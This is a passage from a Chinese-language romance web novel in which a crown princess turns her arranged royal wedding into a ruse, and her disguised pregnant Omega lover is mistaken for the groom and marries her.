她轻轻拍了拍他的背,方便他能喘得上气:“宴会上会放的那种。” “它有名字吗?” “或许吧,我忘了。” 江意衡心照不宣地说着谎,在他小口轻咳时,温柔地替他搓了搓后背。 四岁之前,她确实不知道那是什么曲子。 她只是每天晚上,在听母亲为她讲睡前故事的时候,都会听到床头一个八音盒里,循环同一个旋律。 后来被接回王宫,她随着父亲修习钢琴,才第一次知道,母亲从前总爱播放的那段旋律,来自一首民间作曲家为婚礼编写的圆舞曲。 她并不觉得错愕。 她只是替母亲觉得可惜。 要把心意藏在无人知晓的地方,当孩子问起时,也只是微笑着敷衍。 这不是江意衡想要的。 她固然不是她的父亲,但也绝不希望少年像她的母亲那样,在漫长的伪装中,逐渐变得陌生。 口中的圆舞曲不断重复,轻快的调子好像没有尽头。 这本是一首不被贵族看好的曲目,因它节奏太过轻盈不够庄重,氛围太过俏皮不够典雅。 总而言之,与它的名字一样,难登仪式感极强的王室婚礼。 可江意衡并不在乎婚礼。 她清楚,那只是表演的一部分。 在这场表演彻底落幕以前,她只是需要像每个演员那样,做出符合期待的模样。 即便那只是伪装。 即便那只是假象。 她不能告诉任何人,也不能告诉他。 所有风险都必须控制在最低,她必须有完全把握,才不会浪费这一次机会。 而少年注定不会在场。 他会留在位于D区的这处灰色地带,在多方庇护之下,等待来自她的讯息。 可至少,她还能在表演进入白热化阶段之前,为他亲自哼唱一曲由她为他们挑选的圆舞曲。 然后在只有他们两个人的舞台上,踏步,旋转,目光辉映。 一曲终了,她将人揽入怀中,吻了吻他因困意来袭合起的眼眸。 “给我三天时间。” 指尖轻轻刮过他重新变得丰润柔软的双颊,江意衡俯首在他耳边,一字一顿地许下承诺,“我会摆平一切。” * 言均和刚从舞台回到化妆室,就撞见王储殿下懒洋洋地倚在墙边。 “您还真会挑时间,每次都赶在晚上找我谈事,这可让我怎么好好休息。” 他微微摇头,径直坐在梳妆椅上,却不急着为自己卸下舞台妆容,只是照例将怀中的应援花束搁在一旁。 从镜中,他一眼望见江意衡手中的信封。 “您这次,又有什么协议需要我补签?还是说,您专程前来,是为了撕毁之前的协议?” 江意衡抬手拂眉,不以为然。 “婚礼就在三日后,那可是我亲自定下、告知整个中心区的日子,我怎么会现在反悔?王储的信誉,难道是什么可以儿戏的事情?” “这我可不清楚。” 言均和看着镜中,夸张的舞台妆容将他原本的面容细节变成一张浓烈的面具。 “我从来都不了解殿下。我甚至,都没我以为的那么了解自己。” “有言总理那样野心勃勃的父亲,我甚至很惊讶,你到现在还没做出更出格的事情。” 江意衡顺手往墙上拍了拍信封,“我这么晚来找你,当然不是为了搅扰你清静。事实上,我这里,刚好有一个能让你永远清静的方案。” 镜中的面具定格片刻。 言均和挑眉看她时,那副王子般的尊容捎上警惕:“就因为我做了父亲的帮凶,您现在,就要灭我的口?” 目光落到江意衡拆开信封的动作时,他几乎发出自嘲的冷笑:“这信封里,难道是殿下对我家族的补偿?” 江意衡看着手上那一叠文件,微歪过头,好奇地反问他:“你又不是那种需要牺牲自己为家族谋求后路的人。你太高傲,不可能为任何人埋没自己。过去这几个月,我似乎还要多谢你配合我的表演。” 她踏出清晰的脚步,不紧不慢踱到他身后,指尖拈起一本护照和一张飞船票,在他眼前晃了晃。 “你想不想,以言均和之外的身份,活下去?” 第58章 纠缠至死,也没什么不好…… 江意衡清楚地看到,镜中那张盖着厚重油彩与粉底的面容沉默了足足十秒。 十秒过后,言均和却重新端起那副完美无瑕的面具。 “殿下对时局的判断,真是令人佩服。” 他慢条斯理地开口,“您都已经把婚礼的消息传得满城风雨,却在这个节骨眼上,指望我主动出局,舍弃家族的支撑,独自一人流落在外?” 他望着镜中的王储,轻轻摇头:“这不像是一个王储未婚夫应该做的事。” “但言均和会。”江意衡直呼他的本名,不急不缓。 “诚然,公众眼里的王储未婚夫,能忍受一场无关感情、纯为利益的婚礼。只要还有人在场,他就绝不会淡出舞台灯光。” “诚然,王子需要被托举,也需要光环和他人的注目。” 她毫不避讳地望着镜中那双狭长的眼,“可我理解不理解,与你是否能与自己和解,并没有必然联系。甚至可以说是,毫无关系。” 江意衡着重念出最后那四个字。 “你也算是当了四个月的王储未婚夫。” 她从容得仿佛评论家在指点一出戏目,“你很享受这种角色扮演的感觉吗?你很喜欢被家人当成傀儡一样操控,很喜欢看到我和我的Omega在一起亲密无间?我把你我之间的协议当成协议,可你,却把它当成了堡垒。” “人守不住自己从来就没有的东西。” 言均和扬唇冷笑,“如果您是来提醒我,我输得一败涂地,那么,您的目的无疑已经达到了。” “这从来就不是你的战斗,也不需要你防守。” 江意衡将护照与飞船票塞回信封,放在他面前,指尖轻敲两下,“一个好的演员,知道应该何时上场,又该何时退场。这不是胁迫,而是善意的提醒。” 她收回手,抱臂转身,视线投向墙上的海报。 “我没记错的话,这版天鹅湖基于经典童话,融入了许多创新。譬如,白天鹅与黑天鹅由一人分饰,象征同一人的明暗面。白天鹅无法接受自己的黑暗面,在与王子告别后,投湖而去。” 她缓缓侧首,目光落回他身上。 “当然我知道,白天鹅并非是你的角色。但如果一定要退场,你难道不想像白天鹅一样,选择最体面、最高光的时刻吗?” 言均和抬眼注视着她的侧影。 他第一次,没有立刻接话。 “我还听说,你们这出舞蹈,近日刚刚拿下星曜大奖。恭喜你。” 她甚至恰到好处地拍响手掌,“这可不是单凭某一人能撑起的荣耀,更是整个舞团全体心血的折现。尤其是你,评论家特别点出了你作为王子,对角色的诠释。” 江意衡随手提起那本满是注释的台本,指尖将纸页翻得哗哗作响。 “他出生高贵,被赋予责任,但并不自由。他同样被束缚在贵族的华美金丝笼中,必须选择那位正确的公主。就像你,从小就被培养成为联姻的棋子。可言均和,从来不是一个筹码。” 言均和的目光在镜中微微闪动。 从最初的怀疑与防备,到最后一丝,近乎难以掩饰的动容。 那是一种,江意衡几乎以为,言均和永远不会对任何人表露出的坦然欣赏。 “你还有时间,还有机会,在你心中的白天鹅彻底没入水中前,追回‘她’,承认自己的错误。” 江意衡目光微沉,将最后一张底牌亮出,“这是唯一能保你不在三日之后,被言家牵连的方法。” * “殿下,您真的要把简先生留在D区?” 次日清晨,江意衡在书房刚坐定,便接到陆怀峰的加密通讯。 这位近卫队长开口的第一句话,毫无寒暄,直入正题。 “嗯。” 她淡声答复,手中茶匙轻搅一杯热水。 水中,一撮从集市购入的炒米缓缓散开,漾起温和的金色涟漪,熟悉的香气很快溢满空间。 她不由想起,自己在贫民窟时,和少年一起缩在狭小的出租屋里,共同喝茶取暖的记忆。 “我怎么觉得,我好像早就和你谈过类似的事情。” 江意衡徐徐吹动茶面上的雾气,“四个月前,对吗?” 陆怀峰低咳一声咳,声音带着受伤后的沙哑:“殿下,今时不同往日。您好不容易才将简先生寻回,就算您有必须将他隔离在D区的理由,也不必对他守口如瓶。何况,婚礼也已对外公开时间细节,他要知道,同样是早晚的事。” “我明白,你不认可我又瞒他一次。可这一次,不同往时。” 江意衡曲起指尖,轻扣在骨瓷茶杯外沿的细纹上。 那摩擦声初时细微,渐而刺耳,仿佛她下一秒就能将手中茶杯一分为二。 “所有人都以为这是一场婚礼。可如果我告诉你,这只是个幌子呢?” 陆怀峰沉默了一瞬。 “属下不明白。那您急着散播婚礼的消息,只是为了确保各大贵族世家能在婚礼当天,聚集在同一个地点吗?” “陆队长,你知道我父亲对知情人是什么态度吧?” 江意衡轻描淡写,语气却漏出一点危险意味,“如果不在眼前,那就只能封口。” 她没再继续细说下去,只是劝他继续休息,旋即挂断通讯。 目光落回桌面。 精致的天鹅绒盒子里,正摆着她从黎书宛那里,取来的一对戒指。 复古却简约的式样,没有镶嵌任何宝石。 戒环上缠绕着藤蔓,象征缔结婚姻的两人彼此纠缠。 从前,她多少觉得这是一种诅咒。 如今觉得,纠缠至死,也没什么不好。 只可惜,这场仪式,注定不会风平浪静。 江意衡抬起头。 前方的立式衣架上,正是她当初在高定工坊,一眼替简星沉相中的礼服。 书房里没有舞台上的聚光灯,但只要看到这件衣服,她就会想起少年穿着它烨烨生辉的模样。 手指抚过柔滑的料子,就好像又抚过他的身体。 嗅着上面残余的茉莉香,就好像他又在面前。 她想他固然生来不是一轮高悬明月,只能是水里那一捧月色。 既在她脚下,又在她眼中。 但总有一天。 总有一天…… 那一天,不会远了。 江意衡的指尖在礼服袖口上扣紧时,门外传来一声礼貌叩门轻问。 “殿下,婚礼在即,这件礼服也需要送往言家吗?” “不用了。” 江意衡收回手指,露出微笑,“帮我收好,可千万别让言家的人知道。” * 江意衡走后第一天,简星沉又恢复了那副焦灼等待的样子。 白天不到会所正式营业的时候,他照旧提着扫帚,在门前来来回回不厌其烦地扫地,目光却不时飘向路口,心不在焉地张望。 叶昭年随手拦下一个闲来无事的Omega舞者,扯过那根扫帚,塞进对方怀里,转头又朝着简星沉摆手:“我说,小少爷,您都怀着孩子了,也不用这么勤快吧?” “我也没有很勤快。” 简星沉伸手又去捞扫帚,“就扫这么一块地,赚不了多少钱,抵不了我住在店里的开支。” 叶昭年愣在原地,看着他,眼睛眨了眨。 “小少爷,我哪敢收您这些钱啊?” 她索性把扫帚藏到身后,清了清嗓,正色道:“何况您那位‘贵客’早就结了一个月的房费。别说住上几天,就算你想同时占六个房间,每天轮着睡,我也没意见。” “一个月?” 简星沉摸了摸头,神色一怔,“不是说好三天,怎么要一个月?” “一个月是说她给的多,你没有后顾之忧,也不需要担心哪天突然就被扫地出门。” 叶昭年说完,忽然皱起眉,“她跟你说只要等三天?她没跟你说这三天……有什么事吗?” 少年先是点点头,又迟疑地摇摇头。 叶昭年挠着下巴,陷入思索。 “那她,留了什么东西给你没有?” 简星沉眨巴着眼,有些困惑。 叶昭年猜测,王储这位孕夫恐怕是习惯了等待。 她开始担心,自己哪天早上下楼,就会突然看到他变成一块望‘江’石。 叶昭年只手狂戳太阳穴:“我刚才就想问,你手上,为什么戴着一个易拉罐拉环?” “拉环?”简星沉抬起左手。 无名指上的黑色石头闪着彩虹一样的光,那分明是江意衡为他亲手戴上的戒指。 上面的石头是很罕见的种类,她说,她也有一个差不多的。 “这不是拉环。” 他晃了晃无名指,伸手将戒指取下。 一瞬间,他看到叶昭年的嘴巴张成O型。 “快戴回去,让我再看看!” 简星沉不明就里,茫然照做。 他几乎是听到叶昭年一声哀嚎。 “完啦,我一世英名,居然今天就被这么个小东西毁了。” 她指着他手上的戒指,笑得上气不接下气,“她居然把这么危险的东西给你,还什么都没对你说?” 简星沉彻底懵了。 他觉得自己的脑袋变成了一个木鱼,得有谁来给他敲敲,让他开开窍才行。 “这东西表面上是个戒指,其实是个光学伪装仪。听说过吗?” 叶昭年压低声音,一边说一边警惕打量周围,“戴上它,你就能变成任何人。它能根据你的想法,为你量身打造你想要的样子。虽然我不是很明白,为什么你戴上它,它就会变成一个易拉罐拉环。” 她托着腮,很认真地想了想:“难道手指上戴着易拉罐拉环,是你很向往的事情?” 简星沉低下头。 “我又不是真的小少爷,也买不起像样的戒指。小时候听姥姥说,大人结婚的时候,会给对方戴上戒指,象征誓言和束缚。我很好奇那是什么感觉,姥姥就会把易拉罐的拉环戴在我的手指上。 “然后我才知道,那是一种被勒住的感觉。做什么都会看到,时时刻刻提醒我它的存在。” 叶昭年脸上的玩笑神色一点点变得复杂。 她叹了口气,忽然撇过脸,小声咒骂了一句。 刚咒完,她却又追悔莫及地按住自己的太阳穴,狠狠揉了揉。 “怎么了,叶老板?” 叶昭年不出声,只是把脸偏开。 她愈是遮掩,简星沉就越慌。 他唯恐这是叶昭年和江意衡之间的约定,故意瞒着他。 “她是不是跟您说了什么?” 叶昭年连连避让,就是不松口:“你别问了,我不会说的。” 少年却停下脚步,冷不防开口:“是因为,她要回去跟那个言均和成婚吗?” 第59章 补个妆,画得漂漂亮亮…… 少年说话时,目光平和,表情如常。 完全没有江意衡在赶回中心区前,嘱咐叶昭年留意的任何异常表现。 叶昭年捏着自己的下巴,狐疑地打量了他一会。 “你该不会是……表面安好,心里难过吧?这种情况,我见得多了。” 她指着旁边的Omega:“就比如说他吧,刚来店里,都没搞清状况的那段时间,每天都强颜欢笑。后来听说家人平安,还在记挂他的时候,直接当着客人的面哭得眼泪汪汪。” 被指到的Omega一脸状况外:“老板,您刚说的是我吗?我怎么一点印象都没有,您是不是记错人了……” “行了行了,没你的事儿了。新来的小朋友还等人教,你不搭把手,在这杵着?” 叶昭年转头就把工具人Omega丢开,声音放平,又问简星沉:“我的意思是,你不用装没事。你想闹,想要抱怨,想要发疯,都没关系。殿下回中心区之前没有和你通过气,这是她的不好,你有权对此发火。” 少年徐徐蹲在地上,双手托腮。 良久,才叹了口气。 “可我真的没有觉得不高兴。” 他抬起头,一双眼睛比林间小鹿还要温润平静,“中心区是她的地盘,不是我的。我去了,也帮不了她什么,还会成为她的累赘,不如就老老实实呆在这里。” 叶昭年倒是没想到这一层。 少年分明是把自己看得很轻,知道自己能做的太少,所以干脆把自己从游戏中提前排除。 小时候,她也曾经短暂地经历过这种状态。 看着常年从事保密工作的家人,将她排除在他们经手的危险外。 只有每年团聚时,她才能给他们两个大大的拥抱,能够帮上忙的地方却少之又少。 回忆翻涌,叶昭年不由头疼地掐着太阳穴。 “虽然我店里这些人都没什么权势,但你也不用这么轻贱自己吧?你怎么就帮不了她了,一个人能帮另一个人的方式本来就有很多种。你是不知道她平时什么样子,她只有在你面前,才和和气气,像个人。” “江意衡……吗?” 少年眨着眼,似懂非懂地放空了一会。 叶昭年仍在给他鼓劲:“提供情绪价值也是有帮助的,不然你以为,我这店为什么会有客人光顾。你想想,有人长得好看,能扭两下,还愿意耐心听你说话……拜托,你知道有些地头蛇甚至会为了跟头牌聊天,一掷千金吗?” “所以我是她的头牌吗?” 简星沉捡起一根小树枝,在地上轻轻扒拉两下,“我还以为,我是她养在外面的小情人呢。” 叶昭年真是哭笑不得。 她刚才还佩服少年能忍得了江意衡的坏脾气,现在却不由开始怀疑,王储殿下到底是怎么受得了这小子的脑回路。 这两个人,明明天南地北,如此不同,偏偏又能以她无法理解的方式,互相容忍彼此。 叶昭年按着太阳穴不再说话。 简星沉却仍在自言自语地咕哝着。 “她既然把我留在这里,就一定有她的理由。如果我不听话,反而会造成麻烦。” 他低下头,用力在地面上划下几笔,“我不想,再成为她的麻烦。” “那你就这么眼巴巴地等她跟别人完成仪式,然后再回来找你?婚礼就在后天,就算你改变不了事情经过,但可以表明态度。” 叶昭年仰头嗤了一声,“换了我,我就算爬也要爬到礼堂门口,绝不会让她轻轻松松地结婚。” “啪”的一声,树枝断在少年手中。 简星沉盯着断裂的两截枯枝,似乎是在琢磨叶昭年的话。 过了几分钟,他抱住自己的膝盖,下巴枕在交叠的双臂上,目光扬起。 “可我靠自己,恐怕去不了婚礼现场。” 叶昭年这才一拍手,欣慰道:“那是次要的。你有这个想法就对了!” 少年点点头,问得很真挚:“您这里,有车能到中心区吗? 叶昭年的表情定住。 她旋即咳了一声,掩饰稍纵即逝的尴尬:“你以为我做的是什么生意?常年走在刀尖上,跟各种危险人物周旋。我这车要是进了中心区,肯定会成为近卫队的活靶子。” 不远处,却传来更响亮、更沉稳的一声咳。 叶昭年和简星沉一快一慢,先后扭头看去。 着黑衣、戴墨镜的陆怀峰就那么抱着双臂,像尊黑色石碑一样出现在视线尽头。 而他身后,还停着一台熄火的摩托车。 叶昭年拍着心口,当即就是一个大后撤。 她指着那位近卫队长,心有余悸地问简星沉:“你听到他来了吗?” 少年摇过头,又朝陆怀峰扬手:“陆队长,您什么时候来的?” “就刚才。你们没听到我,是因为音频干扰器。” 陆怀峰举起一个小巧装置晃了晃,“之前有事在E区耽误了,闲的没事,来这儿看看。” “闲?” 叶昭年有样学样地抱起手臂,撇过头去,不屑一顾,“我都听殿下说了,你那分明是职责有失,没好好护住这小子,才被丢在E区养伤吧?” “殿下怎么什么都和你说。” 陆怀峰没有否认,只是轻描淡写略过话题,“简先生要想去中心区的事情,包在陆某身上。但在那以前,还有件事要解决。” 他上前扶起少年:“殿下不会希望你现在去中心区冒险,就算我能带你通过区界,你身上的追踪芯片也会实时向殿下传送坐标数据,迟早会被拦住。要想顺利进入中心区,必须先屏蔽芯片信号。” 叶昭年对此存疑:“可既然芯片是殿下的意思,如果芯片信号丢失,殿下也会警觉才对。” “这确实是个问题。不过好在,替代品就在近处。” 话音刚落,陆怀峰忽然转身扬手,一支飞镖从他手中飞出,直直将不远处一道人影击中。 对方连个字也没喊出来,就嘭地栽倒在地。 三个人匆匆跑上前去,叶昭年一眼认出地上的人是谁。 她踢了踢对方一动不动的身体,觉得有点好笑:“我说陆队长,你怎么把我的手下放倒了?” “你的手下?” 陆怀峰难得笑时,总会抿出一条冷峻唇线,“这明明是殿下从言家招安的人。他为自保,表面上按照言家的指示,监控D区和简先生的动向。实际上,却是向殿下输送情报。他背上,还有殿下命人植入的追踪芯片。” 叶昭年取出手持扫描仪,半信半疑地朝着对方背部靠近。 一声精准的“滴”响,证实陆怀峰所言。 “他和简先生的芯片是一个型号,只是优先级更低,除非殿下事先知晓他与简先生同行,否则不会主动关注他。简先生的芯片信号一但被干扰,我们只有不到五分钟时间能偷梁换柱。” 陆怀峰微微思索,“把他留在店里,绑在地下室的空房间里。你向殿下汇报芯片信号波动,消除她的怀疑。” 叶昭年抱着扫描仪看了会,忽然豁出一声笑:“陆队长,你现在做的事,跟造反有什么区别?” “如果殿下要以此治罪,那我也只能认了。” 他郑重道,“E区的事是我的失误。我希望,这一次可以将功补过。” “最好不是把事情弄得更糟。” 叶昭年故意夸张地摇头叹气,“我看殿下她,恐怕要在婚礼当天,忙得焦头烂额了。” * 简星沉是一个习惯了等待的人。 从前他以为,他的耐心和毅力,就是他最好的品格。 可是后来,他发现自己不止于此。 他毕竟不像小草一样,只能扎根在一处。 他虽然没有翅膀,但至少,还有双手双脚,有这些愿意帮助他的人。 从D区出发,傍晚时他终于抵达A区。 他在李又珍的家中停留两晚,直到第三天早晨,陆怀峰如约将他从家中接走。 他离家前,李又珍一面帮他扶正衣领,一面检查过他的周身,还颇为感慨:“租了这么正式的衣服,要去哪儿?” “去参加……朋友的婚礼。” 他没好意思说他要去的是江意衡的婚礼。 那是他喜欢的人,他孩子的Alpha母亲。 “这个朋友对你一定很重要吧?” 李又珍拍了拍他的肩膀,“如果累了,就早点回来,婆婆给你煮饺子。” 简星沉心怀感激地点了点头。 他穿着从古着店里带出来的衣服,外面罩了件白色夹克,头发用发蜡抓了抓。 夹克和发蜡都是陆怀峰捎来的,简星沉本人其实觉得没什么必要,既然都有便携式光学伪装仪,那只要能瞒过其他人的视线不就好了。 陆怀峰却一板一眼地对他解释,光学伪装仪虽是依据佩戴者想法制造伪装,但想法毕竟是主观之物,存在不稳定的一面。 情急之下,连持有者都未必能预料到,自己的外观会变成什么样。 所以,简星沉必须保证自己即便没了光学伪装仪,也不会一眼露馅。 由于这场婚礼采用“变装”作为主体,江意衡指定每位来宾都需要佩戴象征身份的面具。 陆怀峰特地为少年挑了一款由白羽编织、式样轻盈的变装面具,刚好遮住眉眼。 在正式步入礼堂前,陆怀峰与他分道扬镳,却指了指耳部:“您的微型耳麦已经准备就绪,请务必保持联络。” 说完,这位近卫队长便闪身消失。 只留下简星沉和他手里的一封邀请函,伫在这座礼堂的台阶前。 苍曜礼堂坐落在中心区最高处,顶部采用了名为苍曜的特殊石材,在阳光下泛着璀璨的光泽。 仿佛是为了震慑每一个来人,前排石柱高达十余米。 简星沉步入正门时,不由扬起视线,在高耸的穹顶下感受着自己是多么渺小。 他并不熟悉礼堂内部构造,在借助光学伪装顺利蒙混过入口关卡后,便一路循着人群行走。 越往礼堂深处,人群越分散。 有人上行,有人下行。 而他落在中层,趴在旋转楼梯的扶栏边,很快就失去方向。 正打算请教陆怀峰时,简星沉却听到,背后有人急匆匆奔走而来。 “少爷!您怎么才来?我差点以为您不见了?” ……少爷? 简星沉回过头,一只手指着自己,还没来得及解释,就被那位满脸是汗的陌生人推走。 “就算您不常来礼堂,也不用像个游客那样观望吧?他们跟我说您行事特立独行,我本来还不信。幸好让我找到您,否则我在美妆圈,肯定混不下去了!” 简星沉倒不明白,怎么还有人会带着化妆师亲赴礼堂现场。 他现在是解释也没法解释,不解释又心慌得要命。 化妆师个子不高,蛮力倒不小,推着他一路七拐八绕。 最后推开一扇门,把他带进去,急急忙忙打开一个巨大的手拎包。 那里面赫然是全套化妆产品。 简星沉坐在梳妆镜前,望着一整个梳妆台的香槟色玫瑰,还有面前那一捧蓝到不似真实存在的玫瑰捧花,实打实地愣住。 “谁能想到,您做永生花的手艺这么绝。” 在少年的懵然注视中,化妆师抄起一盘粉饼,拿着一个干净粉扑蘸了一点,就扑在他的脸颊上,“给您好好补个妆,画得漂漂亮亮的。等会殿下看了,一定会心花怒放。” 第60章 抓住你了,我的小海雀…… 简星沉很清楚,自己出现在这场婚礼是为了什么。 他不想错过她人生中的任何重要时刻。 即便,她是要娶另一个人。 只要能在人群里远远看到她,他愿意藏在阴影里,伪装自己的面目。 哪怕,被错认成别人。 可梳妆台上这一捧蓝色永生玫瑰,明明不是他的手艺。 他忍不住羡慕做出这捧花的人,那个人一定比他拥有更灵巧的双手,更精致的品味,和更娴熟的技艺。 他能混进这座礼堂,就已是莫大的不敬。 还要平白无故担上这样的美誉……好像有些过分了。 “其实,这花不是我……” 少年话音未落,却被化妆师打断。 “我知道,少爷您其实并没想要做这些。都是殿下临时起意,催促您为了婚礼忙活这些。她也太不懂得体谅人了。” 化妆师一面为他补上唇色,一面叹气,“谁家新郎好端端的,还得为自己的婚礼做手捧花啊?这不都是应该外包给御用花艺师的嘛。” ……新郎? 他是,被错认成了言均和? 简星沉怔怔望着镜中的自己。 光学伪装仪的佩戴者,无法预估自己最终呈现出的伪装效果,一切全凭想法驱动。 但他既然是抱着不显身份的念头来到此地,自然不会露出本来面目。 而且这一路上,确实没有人注意到他微隆的小腹。 他可以被错认成任何人。 他可以伪装成任何人。 只是,为什么偏偏会是言均和…… 虽说他与言家的小少爷身形相仿,年岁也相近。 但他知道,自己没有对方那样漂亮流畅的肌肉线条,更没有对方那种睥睨众人的高傲形容。 即便面具遮住眉眼,光学伪装仪抹去差异,他的眼神、坐立的姿态,仍是与对方截然不同。 任何一个见过言均和的人,都不应该会犯这样的错误。 难道,他比自己想象中,更渴望成为江意衡的新郎? “您得稍微放松些,笑一笑。” 化妆师轻声宽慰他,用刷子蘸取腮红,沿着他的脸颊轻轻扫过。 “今天是您和殿下的婚礼,您紧张,我也能理解。不过您可是名誉帝国的新生代舞蹈艺术家,有数以万计的观众会为您喝彩,婚礼只是又一个大场面,您一定可以驾驭的。” 如果是言均和,肯定没有问题。 可他是简星沉,不是言均和。 少年的手在袖子里蜷起,目光游移不定地从一朵玫瑰扫向另一朵。 宽敞明亮的化妆室内,只能听到刷子拂过面容的细微沙沙声,还有他愈发忐忑的心跳。 “好了。” 化妆师合上工具包的那一瞬间,简星沉几乎是本能地起身,想立刻逃离。 反正只是一时混淆,等到真正的言均和回到这里,他就可以继续当他的路人,隐匿在众多面生的宾客里。 可他的手才搭上门把,门外却被人敲响。 侍从推着一个带有滚轮的天鹅绒立式衣架,将一套被防尘袋罩住的长款礼服送到他面前。 防尘袋一角刚被掀起,简星沉就看到熟悉的细碎金属亮片,自礼服腰身浮现。 而在礼服背后,还有一条极其精美的头纱垂落,上面绣着白色的花儿。 他还在愣神,侍从已经留下衣物,恭敬地鞠了一躬。 “这是殿下先前为您挑选的礼服和头纱,请您务必更换上。等到您入场的时机,会有人来接您的。” * 帝国王储的婚礼主场。 高耸的穹顶下,金线织就的绸布像云朵般铺开,巨型水晶灯悬在中央,将明暖的灯光如星火般折射到每个角落。 以花簇隔开的宾客席分居场地两侧,中间是一条通往管风琴的婚礼通道。 高达穹顶的彩色玻璃围绕着场地,描绘的是帝国传说中的各位神明,宛如诸神在上,见证这一刻。 本该庄严肃穆的婚礼现场,众人却在窃窃私语。 距离开场已经过去一刻钟,新郎却迟迟未出现,这显然掀起了不小的风波。 “有没有人知道新郎在哪儿?” “自己的儿子来没来,言总理本人总该有数吧?” “我听说他们父子俩之前闹得不愉快,言均和总不会因为赌气,临阵脱逃吧?” “你们不觉得奇怪吗?殿下本人都不急。明明是她主动要求把婚期提前到今天的。” 江意衡端着香槟酒杯,伫在十五米高的管风琴前,饶有兴致地聆听着背后众人的声音。 在一群无意义的絮语后,她总算听到一个有分量的质疑。 “殿下到底和均和说了什么?为何言某迟迟联络不到他?” 发问的人并非别人,正是言均和的父亲。 江意衡抿唇一笑。 她回身,食指轻点酒杯,笑容端方几乎挑不出错:“您这话问得不唐突吗,言总理?均和可是您的儿子,如果有人最了解他的近况,那也应该是您,而不是我。” “这可是您的婚礼,是您的人生大事。您邀请大家前来,不正是为了共睹这神圣一刻?” 江意衡耸耸肩:“我也没说不是啊。” “那您就打算这样,让所有人等着?您不该追寻均和的下落吗?” 言敬玄眸光渐深,“还是说,您并非是在期待这场婚礼,而是有别的诉求?” “言总理,这样说,未免太亵渎婚礼这种神圣的仪式。” 江意衡轻抿香槟,垂眸扫过腕上终端,露出微笑,“反正都已经等了几个月,再等上一时片刻也不会怎么样,不是吗?” 言敬玄神色沉重,嘴角紧抿。 他微微侧首,借助微型耳麦,与手下沟通,眉宇间透出疑色。 江意衡清楚地看到,这位老狐狸愁眉不展、忧心忡忡,却又不便在婚礼上发作的模样。 谁能想到,他自己养大的儿子,他精心栽培的棋子,有一天,会违抗他的命令,公然令他颜面扫地。 想到这里,江意衡不由惬意地轻晃手中香槟酒杯。 而这时,终端上弹出一条简短讯息。 江意衡唇边笑意更深。 她朝言敬玄投去从容不迫的目光:“您在等的人,这不是来了?” 众宾客仍在喋喋不休,场上灯光却骤然黯去。 猝不及防的黑暗当头降临,只留下几个应急出口上,还留有清晰的蓝色指示灯。 不明就里的众人正在困惑发生了什么,却看到通道徐徐亮起。 如同银河倾泻在场地中央,细碎的星光自地面浮现,照亮一条银白通路。 而礼堂尽头,通往主场的大门被人徐徐拉开,最终在一声沉闷的哐响中落定。 几乎是在门扇开启的瞬间,一道人影逆着门外的灯光,出现在众人的视线尽头。 他的面目隐匿在夜幕般的黑暗中,只能看到长度曳地的皎洁礼服,还有垂落周身的细密长纱。 “是新郎!”有人高呼。 还有人带头鼓起了掌。 唯有言敬玄眯起双眼,狐疑地盯着这道姗姗来迟的人影。 新郎似乎是被这场面吓懵了,足足半分钟都没再踏出一步,甚至还不自觉地向后退了半步。 简星沉觉得,自己今天死定了。 被错认成言均和,想逃也没逃成功,居然鬼使神差地穿上了新郎的衣服,罩着新郎的头纱,还捧着新郎的手捧花,被侍从领到了婚礼主场。 这头纱,比他当时在古着店所试的版本细密许多,即便他摘下光学伪装仪,也确信不会有人一眼识破自己。 可即便这能给予他安全感,但在他踏入这里的一瞬间,欺骗的事实就已成立。 借着身后涌入的光线,他隐约看到许多人伫在黑暗中,向他投来好奇和欣赏的目光。 可这些,本不属于他。 他想,如果现在转身,或许还能守住最后的秘密。 可偏偏在脚下银河通往的前方,唯一还有光线落下的地方,江意衡正朝他伸出手,掌心向上。 那是期许的手势,召唤他走到面前。 他见过江意衡流落在贫民窟时伤痕累累的模样,也见过她在中心区独自对抗权贵的锋芒。 他见过她不加掩饰的鄙夷与怜悯,却也见过她私下里亲密无间、将他的面容盛满眼眶。 可这还是简星沉第一次看到,她向着新郎伸出手时,笃定而又赞许的姿态。 心底那一点微小的火苗摇曳着,犹豫着。 他觉得惶恐,觉得局促。 因为他顶替了原本在这个位置的人,因为他在扮演本不属于他的角色。 可就算被当成他之外的人,他也希望,江意衡能像这样,当着其他所有人的面,认可他、支持他,把他从阴影里引到光明之下。 简星沉迈出一步。 在他身后,一对花童一边走,一边将花篮里的花瓣洒落。 洁白长纱在脚边轻晃,地上的浅光将他身上的细碎闪片照亮。 他盛装前行,怀着不安的心,走向他憧憬的太阳。 江意衡今天也穿着一身白,过耳短发修饰得干净利落。 剪裁利落的西装,将Alpha高挑挺拔的身型衬托得如同雕像。 待他走近,江意衡自然而然揽过她的新郎,与他相对而伫。 在侍从托起的首饰盘中,她提起荆棘对戒,将其中一只递给他:“帮我戴上。” 指尖接过戒指,少年的手微微战栗。 偏偏她还近乎刻意地轻声提醒他:“你现在反悔,还有机会。” 简星沉不知道言均和会不会反悔。 但自己绝对不会。 他几乎是下了全部的决心,将戒指徐徐套在她的无名指上。 短短五秒,却漫长得好像永夜。 紧接着,他能感觉她牵住他的手,她温暖的指腹与泛凉的戒指滑过他的手指。 江意衡没有松开他的手,却转头面向一旁的司仪,近乎郑重地问:“在帝国诸位先祖与神明的注视下交换过婚礼戒指,是否足以表示,这段婚姻的合法与有效?” 年迈的司仪笑得慈爱:“正是如此,殿下。” “那好。” 她面向众人,牵着新郎的手,逐字念出誓词。 而他重复着每一个字,从“帝国星辉为证”一直念到“毕生无悔”。 灯火重明,简星沉眼前骤然一亮,他几乎是有些恍惚地眨了眨眼。 与此同时,他的头纱被掀起,眼前是江意衡意味深长的笑容。 他忽然觉得哪里不对,下意识地想把手从她指间缩回,她的手指却在他的无名指上轻轻一按。 刚才还在鼓掌致礼的众人忽然爆发出惊呼。 “他不是言均和!” 简星沉愕然睁大双眸。 面前人的笑容依旧,并不因背景中的混乱而有丝毫动摇。 他的余光瞥见,那枚黑曜石子戒已被她卸下。 江意衡晃了晃指间的戒指,脸庞毫无预兆地向他靠近,唇瓣几乎贴着他的耳畔。 她用只有他能听到的声音低语:“抓住你了,我的小海雀。” 第 61 章【VIP】 第61章 弄湿了,不好洗吧?…… 简星沉一直觉得,每个童话故事,都合该有个美好结局。 如果一眼望不到圆满的未来,那至少,他还能把故事最美好的时刻定格在心里,怀抱这段珍贵的片段走下去。 而在刚刚,江意衡贴近他耳语的那一瞬间。 